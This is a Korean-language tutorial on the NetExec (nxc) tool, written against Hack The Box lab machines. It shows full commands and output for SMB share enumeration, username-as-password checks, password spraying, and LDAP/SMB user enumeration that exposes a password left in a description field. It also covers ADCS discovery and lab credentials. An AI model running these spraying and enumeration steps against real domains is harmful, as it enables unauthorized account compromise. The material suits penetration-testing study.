1. 개요
nxc 는 crackmapexec 의 후속 프로젝트로 Active Directory 환경 점검을 위한 매우 다양한 프로토콜과 기능을 가진 툴이다.
1.1. 주요 기능
-
LDAP
-
WinRM
-
SMB
-
MSSQL
-
SSH
-
RDP
-
FTP
2. 사용법
2.1. 공유폴더 찾기
smb 를 통해 공유 파일 리스트를 --shares 옵션을 통해서 확인할 수 있다.
┌──(root㉿kali)-[/home/kali/labs/Cicada]
└─# nxc smb 10.129.38.228 -u michael.wrightson -p 'Cicada$M6Corpb*@Lp#nZp!8' --shares
SMB 10.129.38.228 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.129.38.228 445 CICADA-DC [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
SMB 10.129.38.228 445 CICADA-DC [*] Enumerated shares
SMB 10.129.38.228 445 CICADA-DC Share Permissions Remark
SMB 10.129.38.228 445 CICADA-DC ----- ----------- ------
SMB 10.129.38.228 445 CICADA-DC ADMIN$ Remote Admin
SMB 10.129.38.228 445 CICADA-DC C$ Default share
SMB 10.129.38.228 445 CICADA-DC DEV
SMB 10.129.38.228 445 CICADA-DC HR READ
SMB 10.129.38.228 445 CICADA-DC IPC$ READ Remote IPC
SMB 10.129.38.228 445 CICADA-DC NETLOGON READ Logon server share
SMB 10.129.38.228 445 CICADA-DC SYSVOL READ Logon server share
2.1.1. smbmap VS nxc
nxc 의 경우 다중 타겟(10.10.10.0/24)와 같이 어떤 공유 폴더가 있고 내 계정으로 어디에 접근 가능한지(READ/WRITE)를 한눈에 파악하기에 편하다.
한편으로 smbmap 의 경우는 안에 중요한 파일들이 있을 거 같을 때 재귀적으로 목록 조회를 -R 과 같이 하위 디렉토리를 트리 구조로 한 번에 볼 수 있다는 점이 차이가 있다.
2.2. ID/PW 일치 혹은 Password Spray 공격
2.2.1. ID/PW 같은 경우
-u 와 -p 에 같은 파일(ID 정보가 담긴 파일)을 제공하는 경우 ID/PW 가 같은지 여부를 확인해 볼 수 있다.
┌──(root㉿kali)-[/home/kali/labs/Monteverde/Monteverde-2]
└─# nxc smb 10.129.228.111 -u users -p users --continue-on-success
SMB 10.129.228.111 445 MONTEVERDE [*] Windows 10 / Server 2019 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK.LOCAL) (signing:True) (SMBv1:False)
[...SNIP...]
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\SABatchJobs:mhope STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-ata:mhope STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-bexec:mhope STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-netapp:mhope STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\dgalanos:mhope STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\roleary:mhope STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\smorgan:mhope STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:SABatchJobs STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:SABatchJobs STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:SABatchJobs STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [+] MEGABANK.LOCAL\SABatchJobs:SABatchJobs
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-ata:SABatchJobs STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-bexec:SABatchJobs STATUS_LOGON_FAILURE
[...SNIP...]
2.2.2. Password Spray 공격
비밀번호는 습득했으나 아이디는 추론이 어려운 경우에 Password Spray 공격을 -u 에다가 users 파일만 제공해서 공격을 시도해볼 수 있다.
┌──(root㉿kali)-[/home/kali/labs/Cicada]
└─# nxc smb 10.129.38.228 -u users -p 'Cicada$M6Corpb*@Lp#nZp!8' --continue-on-success
SMB 10.129.38.228 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.129.38.228 445 CICADA-DC [-] cicada.htb\administrator:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.129.38.228 445 CICADA-DC [-] cicada.htb\guest:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.129.38.228 445 CICADA-DC [-] cicada.htb\krbtgt:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.129.38.228 445 CICADA-DC [-] cicada.htb\CICADA-DC$:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.129.38.228 445 CICADA-DC [+] cicada.htb\DnsAdmins:Cicada$M6Corpb*@Lp#nZp!8 (Guest)
SMB 10.129.38.228 445 CICADA-DC [+] cicada.htb\DnsUpdateProxy:Cicada$M6Corpb*@Lp#nZp!8 (Guest)
SMB 10.129.38.228 445 CICADA-DC [+] cicada.htb\Groups:Cicada$M6Corpb*@Lp#nZp!8 (Guest)
SMB 10.129.38.228 445 CICADA-DC [-] cicada.htb\john.smoulder:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.129.38.228 445 CICADA-DC [-] cicada.htb\sarah.dantelia:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.129.38.228 445 CICADA-DC [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
SMB 10.129.38.228 445 CICADA-DC [-] cicada.htb\david.orelious:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.129.38.228 445 CICADA-DC [-] cicada.htb\emily.oscars:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
2.3. 계정 정보 찾기
2.3.1. ldap 을 이용한 계정 정보 수집
크리덴셜 하나 이상을 습득하고, 해당 계정을 통해 ldap 모듈에 --users 옵션을 붙이면 다른 계정들의 ID를 획득할 수 있다.
┌──(root㉿kali)-[/home/kali/labs/Cicada]
└─# nxc ldap 10.129.38.228 -u michael.wrightson -p 'Cicada$M6Corpb*@Lp#nZp!8' --users
LDAP 10.129.38.228 389 CICADA-DC [*] Windows Server 2022 Build 20348 (name:CICADA-DC) (domain:cicada.htb)
LDAP 10.129.38.228 389 CICADA-DC [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
LDAP 10.129.38.228 389 CICADA-DC [*] Enumerated 8 domain users: cicada.htb
LDAP 10.129.38.228 389 CICADA-DC -Username- -Last PW Set- -BadPW- -Description-
LDAP 10.129.38.228 389 CICADA-DC Administrator 2024-08-27 00:08:03 1 Built-in account for administering the computer/domain
LDAP 10.129.38.228 389 CICADA-DC Guest 2024-08-28 21:26:56 0 Built-in account for guest access to the computer/domain
LDAP 10.129.38.228 389 CICADA-DC krbtgt 2024-03-14 15:14:10 1 Key Distribution Center Service Account
LDAP 10.129.38.228 389 CICADA-DC john.smoulder 2024-03-14 16:17:29 1
LDAP 10.129.38.228 389 CICADA-DC sarah.dantelia 2024-03-14 16:17:29 1
LDAP 10.129.38.228 389 CICADA-DC michael.wrightson 2024-03-14 16:17:29 0
LDAP 10.129.38.228 389 CICADA-DC david.orelious 2024-03-14 16:17:29 1 Just in case I forget my password is aRt$Lp#7t*VQ!3
LDAP 10.129.38.228 389 CICADA-DC emily.oscars 2024-08-23 01:20:17 1
2.3.2. smb 를 이용한 계정 정보 수집
HTB Flight 모듈에서 나오는 실습이다. 위의 ldap 과 마찬가지로 --users 옵션을 붙이면 사용할 수 있다. 공유폴더에서 --shares 만 제거하고 사용하면 된다.
┌──(root㉿kali)-[/home/kali/labs/Flight/Flight-2]
└─# nxc smb 10.129.228.120 -u svc_apache -p 'S@Ss!K@*t13' --users
SMB 10.129.228.120 445 G0 [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB 10.129.228.120 445 G0 [+] flight.htb\svc_apache:S@Ss!K@*t13
SMB 10.129.228.120 445 G0 -Username- -Last PW Set- -BadPW- -Description-
SMB 10.129.228.120 445 G0 Administrator 2022-09-22 20:17:02 0 Built-in account for administering the computer/domain
SMB 10.129.228.120 445 G0 Guest <never> 0 Built-in account for guest access to the computer/domain
SMB 10.129.228.120 445 G0 krbtgt 2022-09-22 19:48:01 0 Key Distribution Center Service Account
SMB 10.129.228.120 445 G0 S.Moon 2022-09-22 20:08:22 0 Junion Web Developer
SMB 10.129.228.120 445 G0 R.Cold 2022-09-22 20:08:22 0 HR Assistant
SMB 10.129.228.120 445 G0 G.Lors 2022-09-22 20:08:22 0 Sales manager
SMB 10.129.228.120 445 G0 L.Kein 2022-09-22 20:08:22 0 Penetration tester
SMB 10.129.228.120 445 G0 M.Gold 2022-09-22 20:08:22 0 Sysadmin
SMB 10.129.228.120 445 G0 C.Bum 2022-09-22 20:08:22 0 Senior Web Developer
SMB 10.129.228.120 445 G0 W.Walker 2022-09-22 20:08:22 0 Payroll officer
SMB 10.129.228.120 445 G0 I.Francis 2022-09-22 20:08:22 0 Nobody knows why he's here
SMB 10.129.228.120 445 G0 D.Truff 2022-09-22 20:08:22 0 Project Manager
SMB 10.129.228.120 445 G0 V.Stevens 2022-09-22 20:08:22 0 Secretary
SMB 10.129.228.120 445 G0 svc_apache 2022-09-22 20:08:23 0 Service Apache web
SMB 10.129.228.120 445 G0 O.Possum 2022-09-22 20:08:23 0 Helpdesk
SMB 10.129.228.120 445 G0 [*] Enumerated 15 local users: flight
3. 모듈
3.1. adcs
adcs 란, Windows 환경에서 공개키 기반 구조(PKI)를 구축할 수 있게 해주는 서버 역할이다. 최근 몇 년간 ADCS의 설정 실수를 이용한 권한 상승 공격 기법이 매우 유행했다. 따라서 nxc 에서는 adcs 관련 정보를 수집하는 모듈을 실행할 수 있다.
즉, 아래의 명령어는 계정으로 LDAP 에 접속해서 이 도메인 네트워크 안에 ADCS 가 존재하는지, 존재한다면 어디에 있는지, 그리고 어떤 취약한 설정이 있는지 조사하는 것이다.
┌──(root㉿kali)-[/home/kali/labs/Fluffy]
└─# netexec ldap dc01.fluffy.htb -u j.fleischman -p 'J0elTHEM4n1990!' -M adcs
LDAP 10.129.38.243 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb)
LDAP 10.129.38.243 389 DC01 [+] fluffy.htb\j.fleischman:J0elTHEM4n1990!
ADCS 10.129.38.243 389 DC01 [*] Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'
ADCS 10.129.38.243 389 DC01 Found PKI Enrollment Server: DC01.fluffy.htb
ADCS 10.129.38.243 389 DC01 Found CN: fluffy-DC01-CA
4. 기타 기능
4.1. --generate-hosts-file
특정 IP의 SMB 프로토콜 정보를 확인하고 그 서버의 호스트 이름을 알아내 /etc/hosts 파일 형식으로 저장해주는 명령어이다.
┌──(root㉿kali)-[/home/kali/labs/Cicada]
└─# netexec smb 10.129.38.243 --generate-hosts-file hosts
SMB 10.129.38.243 445 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:False)
이후 hosts 가 저장된 파일을 /etc/hosts 파일에 덮어 씌워야 한다.
┌──(root㉿kali)-[/home/kali/labs/Fluffy]
└─# cat hosts /etc/hosts | sponge /etc/hosts
결과는 아래와 같다.
┌──(root㉿kali)-[/home/kali/labs/Fluffy]
└─# cat /etc/hosts
10.129.38.243 DC01.fluffy.htb DC01
127.0.0.1 localhost
127.0.1.1 kali
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters